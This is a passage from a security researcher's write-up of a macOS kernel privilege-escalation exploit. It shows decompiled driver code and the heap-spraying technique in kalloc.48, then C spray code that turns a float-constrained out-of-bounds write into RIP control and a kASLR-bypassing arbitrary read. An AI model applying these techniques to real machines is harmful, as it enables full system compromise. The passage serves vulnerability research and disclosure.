class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">char __fastcall IGVector&lt;rect_pair_t&gt;::add(IGVector *this, rect_pair_t *a2)</span><br><span class="line">&#123;</span><br><span class="line">  v3 =;</span><br><span class="line">  if ( this-&gt;currentSize != this-&gt;capacity )</span><br><span class="line">    goto LABEL_4;</span><br><span class="line">  LOBYTE(v4) = IGVector&lt;rect_pair_t&gt;::grow(this, 2 * v3);</span><br><span class="line">  if ( v4 )</span><br><span class="line">  </span><br><span class="line">LABEL_4:</span><br><span class="line">    this-&gt;currentSize += 1;</span><br><span class="line">    v5 =;</span><br><span class="line">    *(this-&gt;storage +  32 * this-&gt;currentSize + 24) = a2-&gt;field_18; //rect2.len height </span><br><span class="line">    *(this-&gt;storage +  32 * this-&gt;currentSize + 16) = a2-&gt;field_10; //rect2.y x</span><br><span class="line">    *(this-&gt;storage +  32 * this-&gt;currentSize + 8) = a2-&gt;field_8; //rect1.len height</span><br><span class="line">    *(this-&gt;storage +  32 * this-&gt;currentSize) = a2-&gt;field_0;  //rect1.y x</span><br><span class="line">  &#125;</span><br><span class="line">  return v4;</span><br></pre></td></tr></table></figure><p><code>IGVector</code> is a generic template collection class used frequently in Apple Graphics drivers. On the head of it lies the <code>currentSize</code> field. Right following the <code>size</code> we have a <code>capacity</code> denoting the current volume of the vector. <code>storage</code> pointer goes after <code>capacity</code> field, recording the actual location of heap objects.<br><code>rect_pair_t</code> holds a pair of rectangles, each rectangle corresponds to a drawing section on screen. The fields of rect is listed as follows:</p><ul><li>int16 x</li><li>int16 y</li><li>int16 w</li><li>int16 h</li></ul><p><code>x,y</code> denote the coordinate of rect’s corner on screen, while <code>w,h</code> denote the width and height of rectangle. The four fields uniquely locates a rectangle on screen. The initial arguments of rectangle is passed in via integer format, however after a series of multiplication and division they become an IEEE.754 floating number in memory, which makes Hex-rays suffer a lot because it can hardly deal with SSE floating point instructions :(</p><p>When the overflow occurs, the memory layout is shown as the following figure.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469783147725.png" alt="Overflow in kalloc.48"></p><p>As the figure shows, the <code>add</code> function is called on a partially out-of-bound 48-size block. The <code>size</code> field is fixed to 0xdeadbeefdeadbeef, because kalloc.48 is smaller than cache-line size, thus it will always be poisoned after freed. Good news is both <code>capacity</code> and <code>storage</code> pointer is under our control. This means we have a write-anywhere primitive covering the whole address space, by carefully preparing content satisfying the following equation,  let<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/formula1.jpg"><br>then<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/formula2.jpg"><br>and also<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/formula3.jpg"></p><p>However we have a write-anywhere but it’s not a write-anything primitive. The rectangles initially have their fields in signed int16 format, falling in range [-0x8000, 0x7fff]. As the function is called, they have already been transformed to IEEE.754 representation in memory, which implies we can only use it to write two continously 4-byte value in range [0x3…, 0x4…., 0xc…, 0xd…, 0xbf800000] (0xbf800000 is float representation of -1) four times, corrupting 32 bytes of memory.</p><h2 id="Control-the-kalloc-48-zone"><a href="#Control-the-kalloc-48-zone" class="headerlink" title="Control the kalloc.48 zone"></a>Control the kalloc.48 zone</h2><p>We need to precisely prepare controlled value right after the overflowed vector, otherwise the kernel will crash on a bad access. Unfortunately kalloc.48 is a zone used frequently in kernel with <code>IOMachPort</code> acting as the most commonly seen object and we must get rid of it. Previous work mainly comes up with <code>io_open_service_extended</code> and <code>ool_msg</code> to prepare the kernel heap. But problem arises for our situation:</p><ul><li><code>ool_msg</code> has small heap side-effect, but the head 0x18 bytes is not controllable while we need precise 8 bytes control at head 0x8 position</li><li><code>io_open_service_extended</code> has massive side effect in kalloc.48 zone by producing an IOMachPort in every opened spraying connection</li><li>in each <code>io_open_service_extended</code> call at most 37 items can be passed in kernel to occupy some space, which is constrained by the maximum properties count per IOServiceConnection can hold</li></ul><p>Thus we’re presenting a new spray technique: <code>IOCatalogueSendData</code> shown in following code snippet. Only one master_port is needed for continuously spraying, really energy-saving and earth friendly :)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line">IOCatalogueSendData(</span><br><span class="line">        mach_port_t     _masterPort,</span><br><span class="line">        uint32_t                flag,</span><br><span class="line">        const char             *buffer,</span><br><span class="line">        uint32_t                size )</span><br><span class="line">&#123;</span><br><span class="line">//...</span><br><span class="line"></span><br><span class="line">    kr = io_catalog_send_data( masterPort, flag,</span><br><span class="line">                            (char *) buffer, size, &amp;result );</span><br><span class="line">//...</span><br><span class="line">    if ((masterPort != MACH_PORT_NULL) &amp;&amp; (masterPort != _masterPort))</span><br><span class="line">    mach_port_deallocate(mach_task_self(), masterPort);</span><br><span class="line">//...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* Routine io_catalog_send_data */</span><br><span class="line">kern_return_t is_io_catalog_send_data(</span><br><span class="line">        mach_port_t     master_port,</span><br><span class="line">        uint32_t                flag,</span><br><span class="line">        io_buf_ptr_t        inData,</span><br><span class="line">        mach_msg_type_number_t  inDataCount,</span><br><span class="line">        kern_return_t *     result)</span><br><span class="line">&#123;</span><br><span class="line">//...</span><br><span class="line">    if (inData) &#123;</span><br><span class="line">//...</span><br><span class="line">        kr = vm_map_copyout( kernel_map, &amp;map_data, (vm_map_copy_t)inData);</span><br><span class="line">        data = CAST_DOWN(vm_offset_t, map_data);</span><br><span class="line">     // must return success after vm_map_copyout() succeeds</span><br><span class="line">        if( inDataCount ) &#123;</span><br><span class="line">            obj = (OSObject *)OSUnserializeXML((const char *)data, inDataCount);</span><br><span class="line">//...</span><br><span class="line">    switch ( flag ) &#123;</span><br><span class="line">//...</span><br><span class="line"></span><br><span class="line">        case kIOCatalogAddDrivers: </span><br><span class="line">        case kIOCatalogAddDriversNoMatch: &#123;</span><br><span class="line">//...</span><br><span class="line">                array = OSDynamicCast(OSArray, obj);</span><br><span class="line">                if ( array ) &#123;</span><br><span class="line">                    if ( !gIOCatalogue-&gt;addDrivers( array , </span><br><span class="line">                                          flag == kIOCatalogAddDrivers) ) &#123;</span><br><span class="line">//...</span><br><span class="line">            &#125;</span><br><span class="line">            break;</span><br><span class="line">//...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">bool IOCatalogue::addDrivers(</span><br><span class="line">    OSArray * drivers,</span><br><span class="line">    bool doNubMatching)</span><br><span class="line">&#123;</span><br><span class="line">   //...</span><br><span class="line">    while ( (object = iter-&gt;getNextObject()) ) &#123;</span><br><span class="line">    </span><br><span class="line">        // xxx Deleted OSBundleModuleDemand check; will handle in other ways for SL</span><br><span class="line"></span><br><span class="line">        OSDictionary * personality = OSDynamicCast(OSDictionary, object);</span><br><span class="line">//...</span><br><span class="line">        // Add driver personality to catalogue.</span><br><span class="line">    OSArray * array = arrayForPersonality(personality);</span><br><span class="line">    if (!array) addPersonality(personality);</span><br><span class="line">    else</span><br><span class="line">    &#123;       </span><br><span class="line">        count = array-&gt;getCount();</span><br><span class="line">        while (count--) &#123;</span><br><span class="line">        OSDictionary * driver;</span><br><span class="line">        </span><br><span class="line">        // Be sure not to double up on personalities.</span><br><span class="line">        driver = (OSDictionary *)array-&gt;getObject(count);</span><br><span class="line">//...</span><br><span class="line">        if (personality-&gt;isEqualTo(driver)) &#123;</span><br><span class="line">            break;</span><br><span class="line">        &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        if (count &gt;= 0) &#123;</span><br><span class="line">        // its a dup</span><br><span class="line">        continue;</span><br><span class="line">        &#125;</span><br><span class="line">        result = array-&gt;setObject(personality);</span><br><span class="line">//...</span><br><span class="line">    set-&gt;setObject(personality);        </span><br><span class="line">    &#125;</span><br><span class="line">//...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The <code>addDrivers</code> functions accepts an <code>OSArray</code> with the following easy-to-meet conditions:</p><ul><li>OSArray contains an OSDict</li><li>OSDict has key <code>IOProviderClass</code></li><li>OSDict must not be exactly same as any other pre-exists OSDict in Catalogue</li></ul><p>We can prepare our sprayed content in the array part as  the following sample XML shows, and slightly changes one char per spray to satisfy condition 3. Also OSString accepts all bytes except null byte, which can also be avoided. The spray goes as we call IOCatalogueSendData(masterPort, 2, buf, 4096} as many times as we wish.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;array&gt;</span><br><span class="line">    &lt;dict&gt;</span><br><span class="line">        &lt;key&gt;IOProviderClass&lt;/key&gt;</span><br><span class="line">        &lt;string&gt;ZZZZ&lt;/string&gt;</span><br><span class="line">        &lt;key&gt;ZZZZ&lt;/key&gt;</span><br><span class="line">        &lt;array&gt;</span><br><span class="line">            &lt;string&gt;AAAAAAAAAAAAAAAAAAAAAA&lt;/string&gt;</span><br><span class="line">            &lt;string&gt;AAAAAAAAAAAAAAAAAAAAAB&lt;/string&gt;</span><br><span class="line">            ...</span><br><span class="line">            &lt;string&gt;ZZZZZZZZZZZZZZZZZZZZZZ&lt;string&gt;</span><br><span class="line">        &lt;/array&gt;</span><br><span class="line">    &lt;/dict&gt;</span><br><span class="line">&lt;/array&gt;</span><br></pre></td></tr></table></figure><p>So we have this following steps to play in kalloc.48 to achieve a stable write-anywhere:</p><ul><li><p>Spray lots of combination of 1 <code>ool_msg</code> and 50 <code>IOCatalogueSendData</code> (content of which totally controllable) (both of size 0x30), pushing allocations to continuous region.<br> <img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469792242612.png" alt="kalloc.48-fengshui-1"></p></li><li><p>free <code>ool_msg</code> at 1&#x2F;3 to 2&#x2F;3 part, leaving holes in allocation as shown below.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469792270537.png" alt="kalloc.48-fengshui-2"></p></li><li><p>trigger vulnerable function, vulnerable allocation will fall in hole we previously left, as shown below.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469792304375.png" alt="kalloc.48-fengshui-3"><br>In a nearly 100% chance the heap will layout as the previous figure, which exactly match what we expected. Spraying 50 or more 0x30 sized controllable content in one roll can reduce the possibility of some other irrelevant 0x30 content produced by other kernel activities such as <code>IOMachPort</code> to accidentally be just placed after free block occupied in, also enabling us to do a double-write, or triple-write, which we found crucial in following exploitation steps.</p></li></ul><h2 id="Write-a-float-to-control-RIP"><a href="#Write-a-float-to-control-RIP" class="headerlink" title="Write a float to control RIP"></a>Write a float to control RIP</h2><p>After we have made the write itself stable, we move forward to turn the write into actual RIP control and&#x2F;or infoleak. The first idea that will pop up is to overwrite some vtable pointer at the head of some userclients. Seems at first hand this vulnerability is not a very good write primitive because we will certainly corrupt the poor userclient, as shown in the following figure:</p><p><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469785931993.png" alt="wrong-way-overwrite"><br>In OSX kernel addresses starting with high byte at 0xbf is almost impossible (or you can just say impossible) to be occupied or prepared for some content. But we are also unable to adjust the value we write to start with 0xffffff80 to point the address to a heap location we can control due to the nature of <code>Blitzard</code>.</p><p>But thanks to Intel CPUs, we can make a qword write at an unaligned location, i.e. 4byte offset.</p><p><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469785992006.png" alt="slide-write-4byte"></p><p>This looks reasonable but we found the stability is not promising. This is because in the huge family of userclients, it seems only <code>RootDomainUserClient</code> has a virtual table pointer high bytes of which is 0xffffff80. Other userclient friends all have vtable pointer address 4th byte of which is 0x7f. Address spaces starting with 0xffffff7f00000000 are usually occupied by non-writable sections so it’s not possible to manipulate memory here to gain some degree of memory control, while on the other hand, address spaces high bytes of which are 0xffffff80 expose some possibility to contain heap regions.</p><h3 id="Decreasing-spray-speed-Why"><a href="#Decreasing-spray-speed-Why" class="headerlink" title="Decreasing spray speed? Why?"></a>Decreasing spray speed? Why?</h3><p>But <code>RootDomainUserClient</code> is a small userclient and we need to spray lots of them to guarantee that at begining of a particular PAGE there’s good chance the <code>RootDomainUserClient</code> falls there. However quickly we found out the spray speed decreases obviously as the number of userclient increases. After some investigation we found out the root cause of this issue, check the following code snippet.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469786702894.png" alt="kernel-stack-trace"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">bool IORegistryEntry::attachToParent( IORegistryEntry * parent,</span><br><span class="line">1621                                 const IORegistryPlane * plane )</span><br><span class="line">1622 &#123;</span><br><span class="line">1623     OSArray *links;</span><br><span class="line">1624     boolret;</span><br><span class="line">1625     boolneedParent;</span><br><span class="line">//...</span><br><span class="line">1635     ret = makeLink( parent, kParentSetIndex, plane );</span><br><span class="line">1636 </span><br><span class="line">1637     if( (links = parent-&gt;getChildSetReference( plane )))</span><br><span class="line">1638 needParent = (false == arrayMember( links, this ));</span><br><span class="line">1639     else</span><br><span class="line">1640 needParent = true;</span><br><span class="line">1641 </span><br><span class="line">//...</span><br><span class="line">1669     if( needParent)</span><br><span class="line">1670         ret &amp;= parent-&gt;attachToChild( this, plane );</span><br><span class="line">1671 </span><br><span class="line">1672     return( ret );</span><br></pre></td></tr></table></figure><p>Here <code>arrayMember</code> performs a linear search on existing attached client, which already implies a O(N^2) time complexity. </p><p>Can things be worse? Let’s go further. When userclients are opened, they need to be attached to their parent. This will in turn call <code>parent-&gt;attachToChild</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">bool IORegistryEntry::attachToChild( IORegistryEntry * child,</span><br><span class="line">1684                                         const IORegistryPlane * plane )</span><br><span class="line">1685 &#123;</span><br><span class="line">1686     OSArray *links;</span><br><span class="line">//...</span><br><span class="line">1694 </span><br><span class="line">1695     ret = makeLink( child, kChildSetIndex, plane );</span><br></pre></td></tr></table></figure><p>then</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> bool IORegistryEntry::makeLink( IORegistryEntry * to,</span><br><span class="line">1314                                 unsigned int relation,</span><br><span class="line">1315                                 const IORegistryPlane * plane ) const</span><br><span class="line">1316 &#123;</span><br><span class="line">1317     OSArray *links;</span><br><span class="line">1318     boolresult = false;</span><br><span class="line">//...</span><br><span class="line">1323 result = arrayMember( links, to );</span><br><span class="line">1324 if( !result)</span><br><span class="line">1325             result = links-&gt;setObject( to );</span><br><span class="line">1326 </span><br><span class="line">1327     &#125; else &#123;</span><br></pre></td></tr></table></figure><p>The <code>links</code> is an <code>OSArray</code>, and <code>setObject</code> inserts new userclient into the array storage, which calls into this expensive function</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">unsigned int OSArray::ensureCapacity(unsigned int newCapacity)</span><br><span class="line">185 &#123;</span><br><span class="line">//...</span><br><span class="line">203     newArray = (const OSMetaClassBase **) kalloc_container(newSize);</span><br><span class="line">204     if (newArray) &#123;</span><br><span class="line">205         oldSize = sizeof(const OSMetaClassBase *) * capacity;</span><br><span class="line">206 </span><br><span class="line">207         OSCONTAINER_ACCUMSIZE(((size_t)newSize) - ((size_t)oldSize));</span><br><span class="line">208 </span><br><span class="line">209         bcopy(array, newArray, oldSize);</span><br><span class="line">210         bzero(&amp;newArray[capacity], newSize - oldSize);</span><br><span class="line">211         kfree(array, oldSize);</span><br><span class="line">212         array = newArray;</span><br></pre></td></tr></table></figure><p><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469793140738.png" alt="spray-number-time-plotgraph"><br>So in a conclusion, the spraying time has a N^2 time complexity relationship with opened userclient per service. This may not be a big problem for powerful Macbook Pros, but we found the Core M processor in  the new Macbook (which is unfortunately the machine we need to exploit in Pwn2Own competition) as slow as grandma, which forces us to found better and faster ways.<br>Fortunately, a new method pops up and we solved RIP control and info leak problems in one shot. That’s perfect.</p><h3 id="IGAccelVideoContext-comes-to-rescue"><a href="#IGAccelVideoContext-comes-to-rescue" class="headerlink" title="IGAccelVideoContext comes to rescue"></a>IGAccelVideoContext comes to rescue</h3><p>As we searches for helpful userclients, the following criterias must be met:</p><ul><li>It must be reachable from sandbox</li><li>Size of userclient must be larger than PAGE_SIZE, and bigger is better (faster spray speed)</li></ul><p>We have to admit directly overwriting vtable pointers is not a good solution for our vulnerability. Can we overwrite some field pointers of userclient? The answer is yes. <code>IGAccelVideoContext</code> is a perfect candidate with size 0x2000. Nearly all IOAcceleratorFamily2 userclients have a <code>service</code> pointer associated, and it point to the mother <code>IntelAccelerator</code>. In the following figure we can see at offset 0x528 we saw the appearance of this pointer. It’s a heap location which means we can use the previous mentioned so-called <code>slide-writing</code> to overwrite only lower 4bytes to make it point to heap memory we can control.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469793670597.png" alt="the service pointer"></p><h4 id="RIP-control"><a href="#RIP-control" class="headerlink" title="RIP control"></a>RIP control</h4><p>Further study reveals there are virtual function calls on this pointer. But we need to take extra caution as we cannot directly call the fake <code>service</code>‘s virtual function, because the header of <code>vm_map_copy</code> is not controllable. So we take another approach as we found out <code>context_finish</code> function does an indirect call on <code>service-&gt;mEventMachine</code>, </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall IOAccelContext2::context_finish(IOAccelContext2 *this)</span><br><span class="line">&#123;</span><br><span class="line">  int v1; // eax@1</span><br><span class="line">  unsigned int v2; // ecx@1</span><br><span class="line"></span><br><span class="line">  v1 = this-&gt;service-&gt;mEventMachine-&gt;vt-&gt;__ZN24IOAccelEventMachineFast219finishEventUnlockedEP12IOAccelEvent(</span><br><span class="line">         this-&gt;service-&gt;mEventMachine,</span><br></pre></td></tr></table></figure><p>We now adjust our goal to overwrite the <code>service</code> field of any <code>IGAccelVideoContext</code>. Given no knowledge of heap addresses, we again need to spray lots of userclients to achieve our goal. After trial and errors we finally took the following steps:</p><ul><li>Spray 0x50,000 ool_msgs, pushing heap covering 0xffffff80 bf800000 (<code>B</code>) with controlled content (ool)</li><li>free middle parts of ool, fill with IGAccelVideoContext covering 0xffffff80 62388000  (<code>A</code>)</li><li>Perform write at <code>A - 4  + 0x528</code> descending, change <code>service</code> pointer to 0xffffff80 bf800000 (<code>B</code>)</li><li>Call each IGAccelVideoContext’s externalMethod and detect corruption</li></ul><p>Why we choose the particular addresses <code>A</code> and <code>B</code>? As we recall in previous paragraphs, we can only write float in particular ranges to an expected location, which means we can change pointers like 0xffffff80 deadbeef to 0xffffff80 3xxxxxxx, 0xffffff80 4xxxxxxx, 0xffffff80 cxxxxxxx, 0xffffff80 dxxxxxxx and 0xffffff80 bf800000. These addresses are either too low (kASLR changes in each boot and high kASLR value may shift heap location very high, flooding 0xffffff80 4xxxxxxx), or too high (need lots of spray time to reach). So we choose to write 0xbf800000 to some pointers and taking half from <code>B</code> lead to <code>A</code>.</p><p>This code snippet shows how to do the previous mentioned steps:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">mach_msg_size_t size = 0x2000;</span><br><span class="line">mach_port_name_t my_port[0x500];</span><br><span class="line">memset(my_port, 0, 0x500 * sizeof(mach_port_name_t));</span><br><span class="line">char *buf = malloc(size);</span><br><span class="line">memset(buf, 0x41, size);</span><br><span class="line">*(unsigned long *)(buf - 0x18 + 0x1230) = 0xffffff8062388000 - 0xd0 + 2;</span><br><span class="line">*(unsigned long *)(buf - 0x18 + 0x230) = 0xffffff8062388000 - 0xd0 + 2;</span><br><span class="line"></span><br><span class="line">for (int i = 0; i &lt; 0x500; i++) &#123;</span><br><span class="line">    *(unsigned int *)buf = i;</span><br><span class="line">    printf(&quot;number %x success with %x.\n&quot;,i , send_msg(buf, size, &amp;my_port[i]));</span><br><span class="line">&#125;</span><br><span class="line">for (int i = 0x130; i &lt; 0x250; i++)</span><br><span class="line">&#123;</span><br><span class="line">    read_kern_data(my_port[i]);</span><br><span class="line">&#125;</span><br><span class="line">printf(&quot;press enter to fill in IOSurface2.\n&quot;);</span><br><span class="line">io_service_t serv = open_service(&quot;IOAccelerator&quot;);</span><br><span class="line">io_connect_t *deviceConn2;</span><br><span class="line">deviceConn2 = malloc(0x12000 * sizeof(io_connect_t));</span><br><span class="line">kern_return_t kernResult;</span><br><span class="line">for (int i =0; i &lt; 0x12000; i ++)</span><br><span class="line">&#123;</span><br><span class="line">    kernResult = IOServiceOpen(serv, mach_task_self(), 0x100, &amp;deviceConn2[i]);</span><br><span class="line">    printf(&quot;%x with result %x.\n&quot;, i , kernResult);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>You will be more clear with this figure.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469798364668.png" alt="overwrite-service-field"></p><h4 id="Head-or-middle"><a href="#Head-or-middle" class="headerlink" title="Head or middle?"></a>Head or middle?</h4><p>Smart readers may have noticed a critical problem. Given the size of userclient is 0x2000, how can you be sure that head of the userclient falles right at <code>A</code>? Why can not <code>A</code> falls at middle of the <code>IGAccelVideoContext</code>.</p><p>Yes you’re right. It’s a 50-50 chance. If <code>A</code> falls at middle of userclient, overwriting <code>A - 4  + 0x528</code> will corrupt nothing meaningful, lead to failure of exploitation. Can we let this happen? Absolutely not. We need to trigger the write twice, to write both at <code>A - 4  + 0x528</code> and <code>A - 4  + 0x528 + 0x1000</code>.</p><p>So you can now understand why I mentioned earlier we may need to do a double-write in kalloc.48. By changing the value of sprayed content in <code>IOCatalogueSendData</code> in a odd-even style, and triggering the vulnerability multiple times, we can ensure that there’s a nearly 100% chance that both two locations will be overwritten. </p><h4 id="Bypassing-kASLR"><a href="#Bypassing-kASLR" class="headerlink" title="Bypassing kASLR"></a>Bypassing kASLR</h4><p>We know Steve Jobs (or Tim Cook?) will not make our life so easy as we still have a big obstacle to overcome: the Royal kASLR, even we have already figured out a way to control RIP. But when there’s a will, there is a way.<br>Let’s revisit what we have. we have known address <code>A</code> covered with <code>IGAccelVideoContext</code>. Known address <code>B</code> covered with <code>vm_map_copy</code> content controlled and we can also change the content as we wish, just freeing and refill the <code>ool_msg</code>s. Are there any function of some userclients that will return a particular content at a specified address, given we now control the whole body of the <code>fake</code> userclient? </p><p>With a bit of luck the externalMethod function <code>get_hw_steppings</code> caught our attention.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall IGAccelVideoContext::get_hw_steppings(IGAccelVideoContext *a1, _DWORD *a2)</span><br><span class="line">&#123;</span><br><span class="line">  __int64 service; // rax@1</span><br><span class="line"></span><br><span class="line">  service = a1-&gt;service;</span><br><span class="line">  *a2 = *(_DWORD *)(service + 0x1140);</span><br><span class="line">  a2[1] = *(_DWORD *)(service + 0x1144);</span><br><span class="line">  a2[2] = *(_DWORD *)(service + 0x1148);</span><br><span class="line">  a2[3] = *(_DWORD *)(service + 0x114C);</span><br><span class="line">  a2[4] = *(unsigned __int8 *)(*(_QWORD *)(service + 0x1288) + 0xD0LL);</span><br><span class="line">  return 0LL;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Eureka!</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a2[4] = *(unsigned __int8 *)(*(_QWORD *)(service + 0x1288) + 0xD0LL);</span><br></pre></td></tr></table></figure><p>Given the <code>service + 0x1288</code> is controlled by us, this is a perfect way to return value at arbitrary address. Although only one byte is returned, it’s not a big deal because we can free and refill the ool_msgs as many times as we wish and read one byte by one. We now come up with these steps.</p><ul><li>By spraying we can ensure 0xf… 62388000(A) lies an IGAccelVideoContext. And 0xf… bf800000(B) lies an vm_map_copy with size 0x2000</li><li>Overwrite the service pointer to B, point to controlled vm_map_copy filled with 0x4141414141414141 (except at 0x1288 set to A - 0xD0)</li><li>Test for 0x41414141 by calling get_hw_steppings on sprayed userclients</li><li>If match, we get the index of userclient being corrupted. a2[4] returns a byte at A!<br>You will be more clear with this figure:<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469798724994.png" alt="content-detection"></li></ul><h4 id="Head-or-middle-again"><a href="#Head-or-middle-again" class="headerlink" title="Head or middle, again"></a>Head or middle, again</h4><p>Smart reader will again noticed that we are currently assuming <code>A</code> falls at beginning of a <code>IGAccelVideoContext</code>. Also, nobody guarantees <code>B</code> falls right at the beginning the 0x2000 size vm_map_copy. It’s also a 50-50 chance.</p><p>For the latter, we take the same approach. When we are preparing ool_msg, we change 0x1288 and 0x288  both to A - 0xD0. For the former problem it’s a bit more complicated.</p><p>We have an observation that at the 0x1000 offset of a normal <code>IGAccelVideoContext</code>, the value are zero. This gives us a way to distinguish the two situations, given that now we can read out the content at address <code>A</code>. We can use an additional read to determine if the address is at <code>A</code> or <code>A+0x1000</code>. 